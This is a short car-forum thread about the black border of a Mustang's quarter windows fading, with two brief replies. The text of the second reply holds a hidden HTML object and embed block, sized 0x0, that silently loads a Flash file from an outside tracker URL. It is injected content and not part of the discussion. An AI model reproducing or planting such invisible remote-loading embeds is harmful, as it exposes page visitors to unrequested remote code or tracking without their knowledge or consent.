Quarter Window "fade"?

Is anyone else having/had a problem with the outlying border of their quarter windows getting lighter in color like the black is fading. Don't know the best way to describe it but it looks like soap scum behind where the glass is mounted. Not sure how it would have gotten there. I've had the stang for almost 2 years now and it just started appearing maybe 3 months ago.
 
Nope, haven't noticed. Oh wait, I have SHR louvers. Nevermind.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

Me too, mine are covered....:nonono: